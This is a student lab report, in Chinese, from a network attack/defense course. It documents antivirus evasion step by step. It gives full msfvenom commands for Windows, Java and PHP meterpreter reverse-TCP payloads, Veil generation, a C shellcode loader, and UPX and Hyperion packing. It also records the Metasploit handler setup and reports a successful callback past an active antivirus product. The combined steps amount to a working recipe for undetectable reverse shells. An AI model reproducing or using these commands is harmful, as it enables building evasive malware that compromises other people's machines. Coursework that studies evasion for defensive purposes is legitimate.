首页 > 其他分享 >20222408 2024-2025-1 《网络与系统攻防技术》实验三实验报告

20222408 2024-2025-1 《网络与系统攻防技术》实验三实验报告

时间:2024-10-26 23:09:36浏览次数:1  
标签:exe 免杀 veil 生成 2024 2025 20222408 shellcode

1.实验内容

1.1回答问题

(1)杀软是如何检测出恶意代码的?
①基于特征码的检测:AV软件厂商搜集最全最新的特征码库,并以此来尝试匹配文件中的一个或几个片段②启发式恶意软件检测:根据片面特征推断,包括行为(如连接恶意网站、开放端口、修改系统文件等),外观(文件签名、结构、厂商等)。③基于行为的恶意软件检测:基本上就是加入了行为监控的启发式。
(2)免杀是做什么?
对恶意软件做处理,让它不被杀毒软件检测,从而达到攻击成功的目的。
(3)免杀的基本方法有哪些?
①通过加压缩壳/加密壳,基于payload重新编译生成可执行文件,用其他语言重写再编译等方法,改变恶意软件的特征码。②通过反弹式连接、隧道技术、加密通讯数据、基于内存操作、加入混淆用的正常代码等方法,隐藏恶意软件的恶意行为。③还有非常规的方法,包括利用后门,使用社工类攻击,从头编一个恶意软件等。

1.2实践内容简述

(1)使用msfvenom和msf编码器,生成exe、jar、php文件及它们的编码版本。
(2)下载veil工具,并使用它来生成恶意代码。
(3)使用C+shellcode编程。
(4)尝试upx压缩壳和试hyperion加密壳。
(5)通过组合应用各种技术实现恶意代码免杀,即与杀软共生。
(6)在杀软开启的情况下,用免杀技术让恶意代码运行并回连成功。

2.实验过程

2.1形成免杀效果参考基准

利用指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.219.133 PORT=2408 -f exe > met20222408.exe直接生成meterpreter可执行文件。
alt text
将该文件放入virustotal进行评价,发现检出率为61/72,将这个比例作为参照,查看后续的免杀技术效果。
alt text

2.2正确使用msf编码器,使用msfvenom生成如jar之类的其他文件

2.2.1生成exe文件和编码的exe文件

利用指令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=172.16.219.133 LPORT=2408 -f exe > met-encoded20222408.exe生成可执行文件。其中-e x86/shikata_ga_nai用于指定编码方式;-b '\x00'用于指定要避免的坏字符。
alt text
得到的检出率为61/73,基本没有变化。
再利用指令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai  -i 10 -b '\x00' LHOST=172.16.219.133 LPORT=2408 -f exe > met-10encoded20222408.exe进行10次编码。其中-i 10表示编码10次。
alt text
得到的检出率为62/73,也基本没有变化。说明这种文件生成和编码的模板的特征码已经基本都在库中了。

2.2.2生成jar文件和编码的jar文件

利用指令msfvenom -p java/meterpreter/reverse_tcp LHOST=172.16.219.133 LPORT=2408 x>metjar20222408.jar生成jar文件。其中x>可以利用输出文件后缀名隐式指定文件类型。
再利用指令msfvenom -p java/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=172.16.219.133 LPORT=2408 x>met-encoded-jar20222408.jar生成一份编码10次的jar文件。
alt text
得到的检出率均为34/64,说明jar文件更难被识别出来。

2.2.3生成php文件和编码的php文件

利用指令msfvenom -p php/meterpreter/reverse_tcp LHOST=172.16.219.133 LPORT=2408 x> metphp_20222408.php生成php文件。
利用指令msfvenom -p php/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=172.16.219.133 LPORT=2408 x> met_encoded10_php_20222408.php生成一份编码10次的php文件。
alt text
得到的检出率分别为26/63和10/62,说明php文件也难以被识别,且php的编码有不错的免杀效果。

2.3使用veil免杀工具

2.3.1veil免杀工具的下载

我一开始设置的kali虚拟机硬盘大小只有20gb,导致没有足够的空间下载veil。我扩充了硬盘空间后,开始下载veil。(扩充方法见问题1)
先使用指令sudo apt -y install veil,用apt下载veil。
alt text
再使用指令usr/share/veil/config/setup.sh --force --silent,用veil自带的shell脚本配置好环境。
alt text
这个过程涉及到很多内容,需要比较长的时间,但除了中间要输入一次密码以外,不需要进行任何手动操作。下载完毕后,在命令行中输入veil,将会出现以下界面。
alt text

2.3.2veil使用过程

上一张图中,可以看到Evasion(躲避模块)是第一个选项,输入use 1进入Evasion模块。
alt text
输入list查看所有可用的载荷种类。
alt text
看到c/meterpreter/rev_tcp.py是第7个选项,输入use 7
alt text
进行配置,输入以下信息。
set LHOST 192.168.1.115(反弹链接ip,虚拟机的ip)
set LPORT 2408(设置端口)
generate(开始生成)
下面会提示生成的具体内容和生成后文件所在的位置。
alt text
到它所说的目录下,可以看到已经生成好的文件。
alt text
测试这个文件的检出率,发现是43/73,有一定的免杀效果。
alt text

2.4使用C + shellcode编程

使用指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.115 LPORT=2408 -f c,用msfvenom工具来生成一个C语言的源代码格式的有效载荷
alt text
用生成的shellcode编写一个c文件。
alt text
利用指令i686-w64-mingw32-g++ shellcode_c_20222408.c -o shellcode_c_20222408.exe进行编译,得到exe文件。
alt text
测试这个文件的检出率,发现是39/71,有一定的免杀效果。
alt text

2.5使用加壳工具

2.5.1使用压缩壳UPX

使用指令upx shellcode_c_20222408.exe -o shellcode_c_upx_20222408.exe,给上一个步骤生成的shellcode_c_20222408.exe加一个压缩壳。
alt text
测试检出率,发现是44/72,反而上升了,说明这个壳的特征已经被很广泛的记录。
alt text

2.5.2使用加密壳Hyperion

使用指令。
cp shellcode_c_20222408.exe /usr/share/windows-resources/hyperion/(将待加密文件放到工作目录下)
cd /usr/share/windows-resources/hyperion(进入工作目录)
wine hyperion.exe -v shellcode_c_20222408.exe shellcode_c_hyp_20222408.exe(加密文件)
alt text
alt text
加密文件已经生成。
alt text
测试检出率,发现是53/73,反而上升了,说明这个壳的特征已经被很广泛的记录。
alt text

2.6通过组合应用各种技术实现恶意代码免杀

使用msfvenom工具来生成一个攻击载荷的示例。该攻击载荷被x86/shikata_ga_nai编码了10次。
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=172.16.219.133 LPORT=2408 -f c > 20222408_shellcode.c
使用vi工具,在生成的文件中加入main函数如下。
int main(){ int (*func)() = (int(*)())buf; func(); }
使用MinGW-w64编译该源文件。
i686-w64-mingw32-g++ 20222408_shellcode.c -o 20222408_shellcode.exe
使用upx加一层压缩壳。
upx 20222408_shellcode.exe -o 20222408_shellcode_upx.exe
使用hyperion加一层加密壳。
wine hyperion.exe -v 20222408_shellcode_upx.exe 20222408_shellcode_upx_hyp.exe
将最终生成的可执行文件放入主机,用杀软进行扫描,软件没有发现。
alt text

2.7用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

在kali虚拟机中输入msfconsole打开msf的控制台,输入以下这些信息。
use exploit/multi/handler(设置监听处理器)
set payload windows/meterpreter/reverse_tcp(设置载荷类型)
set LHOST 172.16.219.133(设置为kali的ip地址)
set LPORT 2408(设置端口)
exploit(启动监听服务)
在杀软开启的情况下,在主机上运行生成的可执行文件,可以看到成功回连成功。
alt text
电脑的杀软名称:金山毒霸
病毒库版本:2024.10.24.09
软件版本:15.2024.4.3.102400.1509
alt text

3.问题及解决方案

  • 问题1:kali的存储空间不足以下载veil。
  • 问题1解决方案:在网络上找到了一篇kali扩容的教程:kali扩展内存,大致步骤为先在虚拟机设置中扩展磁盘容量,再用gparted软件对逻辑分区进行设置。扩容后就可以容纳veil了。
  • 问题2:下载veil的过程中尝试了很多种方法,很多方法都报错,错误包括文件大小不匹配,下载源证书错误等等。
  • 问题2解决方案:最终找到了我实验报告里所写的那种方法,用以下两条语句成功下载。
    sudo apt -y install veil
    usr/share/veil/config/setup.sh --force --silent
  • 问题3:一开始使用hyperion.exe时,系统会报“ShellExecuteEx failed: File not found.”的错误。
  • 问题3解决方案:通过搜索得知,hyperion.exe需要在/usr/share/windows-resources/hyperion这个工作目录才能使用。

4.学习感悟、思考等

本次实验的重点在于尝试各种免杀工具与技巧,学习的内容有:msf编码器、veil、加壳工具的使用,C+shellcode编程方法,各种免杀方法的组合运用等等。通过进行实验,我也学习到了kali的扩容方法、各种软件下载方式,复习了后门程序的生成与使用方法。
本次实验进行得还算顺利,最大的难点在于veil的下载。在下载veil时,我试了好几种方法都有报错,这些方法有简单的也有复杂的。我看到最复杂困难的方法是重新安装别的kali版本,在里面尝试下载veil,因为本来安装的kali版本可能不兼容veil。最后,我成功下载veil,反而用的是我看到的最简单的一种方法。组合各种技术实现免杀也有一定的难度。我一开始使用的技巧太少了,导致总是被查杀。经过不断的尝试,我最终也成功实现了免杀。整个实验过程很好地锻炼了我分析问题和解决问题的能力。
实验涉及的免杀技巧已经存在了很久,广为人知,所以没有办法达到特别好的免杀效果,有些甚至还会起反作用。但是在网络安全领域,不断会有新的免杀技巧出现,使用杀毒软件等方法无法百分百识别恶意代码,若没有很好的安全意识和防护意识,可能就会被攻击而造成损失。这说明我们要时刻保持警惕,避免点击来路不明的邮件、网站,下载盗版软件等高危行为。

参考资料

标签:exe,免杀,veil,生成,2024,2025,20222408,shellcode
From: https://www.cnblogs.com/20222408msy/p/18505326

相关文章

  • CSP-S 2024
    theendofmyOIday-7开始停课玩训练day-6~0打模拟赛,挂飞。day1上午打了打板子,rp++,14:10进考场,键盘打感还不错?就是enter为啥都恁奇怪。14:20试机,只打了快读,不知为何用不了-std=c++14?。14:30发pdf密码,复制密码错误,手打才对,神秘。14:35开T1,什么水题,10m......
  • CSP 2024 游记
    SH-S00652上海市大同中学(黄浦区南车站路353号)2号机房时行楼5楼504室座位号51考前考试前几天发现自己考场就在大同,这波是主场作战。但是大同只有Win7。考前一天在UOJ群里问Win7相比Win10有没有什么要注意的。有群友提醒,cmd中不能直接粘贴样例文本,要进......
  • 2024高等代数【南昌大学】
    已知f(x)=1+x+x2+⋯+xn−1f(x)=1+x+x^2+\cdots+x^{n-1}f(x)=1+x+x2+⋯+xn−1,证明:f(x)∣[f(x)+xn]2−xnf(x)\mid\left[f(x)+x^n\right]^2-x^nf(x)∣[f(x)+xn]2−xn。xf(x)=x+x2+x3+⋯+xnxf......
  • 第六届国际科技创新学术交流大会 暨通信、信息系统和软件工程学术会议(CISSE 2024)
    @目录一、会议详情二、重要信息三、大会介绍四、出席嘉宾五、征稿主题一、会议详情二、重要信息大会官网:https://ais.cn/u/vEbMBz提交检索:EICompendex、IEEEXplore、Scopus大会时间:2024年12月6-8日大会地点:中国-广州三、大会介绍通信、信息系统与软件工程学术会议(CI......
  • 2024.10.26
    1.st.upper_bound(c)返回的是地址想要上面的值要加*prev()也是;2.p1102的思路先for统计所有的数据的出现次数用map作为计数器一一对应,然后数组里存入的是arr[i]=数据-C;再for把map里有多少计数器的名字和“数据-C”一样的并且将计数器记的数累加求和;3.p1918思路先for把所......
  • 第六届智能控制、测量与信号处理国际学术会议 (ICMSP 2024) 2024 6th International
    @目录一、会议详情二、重要信息三、大会介绍四、出席嘉宾五、征稿主题一、会议详情二、重要信息大会官网:https://ais.cn/u/vEbMBz提交检索:EICompendex、IEEEXplore、Scopus三、大会介绍第六届智能控制、测量与信号处理国际学术会议(ICMSP2024)由西安石油大学、中海油田......
  • 学期:2024-2025-1 学号:20241303 《计算机基础与程序设计》第5周学习总结
    作业信息这个作业属于哪个课程<班级的链接>(如2024-2025-1-计算机基础与程序设计)这个作业要求在哪里<作业要求的链接>(如2024-2025-1计算机基础与程序设计第五周作业)这个作业的目标<写上具体方面>自学教材,计算机科学概论(第七版)第6章并完成云班课测试,《C语言程序设......
  • 2024 CSP-J
    2024CSP-JP11227扑克牌(模拟,STL)题意给定\(n\)张扑克牌,问若要凑齐所有花色点数,还需要几种牌。数据规模与约定对于\(100\%\)的数据,\(1\len\le52\)。题解发现每种扑克牌是一个花色和点数的二元组。开一个二维数组当桶即可。但是考虑到实现起来的方便性,这里我使用了枚......
  • CSP-S 2024 游记
    Day0发现考场就在某初中同学家旁边,打算考完找他玩玩,不过七宝作业太多了最后没见上(伤心)。以及前一天是程序员节,但是仍然有信息作业。(恼Day1地铁坐过了一站,直接导致忘记吃午饭(玩游戏玩魔怔了下地铁之后开了辆车,骑到学校门口但是走错门了,又绕着学校骑了5mins才到正门。此......
  • CSP-J 2024第二轮试题解析
    2024年10月26日,CSP-J/S2024第二轮认证圆满结束;这次入门组的比赛重点考察了模拟和动态规划算法,还涉及到字符串、贪心、前缀和等内容的考察,相比去年来说,对思维能力的考察更多。前两题比去年好做,第三题的部分分也比较好拿,但是第四题的难度明显比去年高,预计分数线会出现小幅提升。......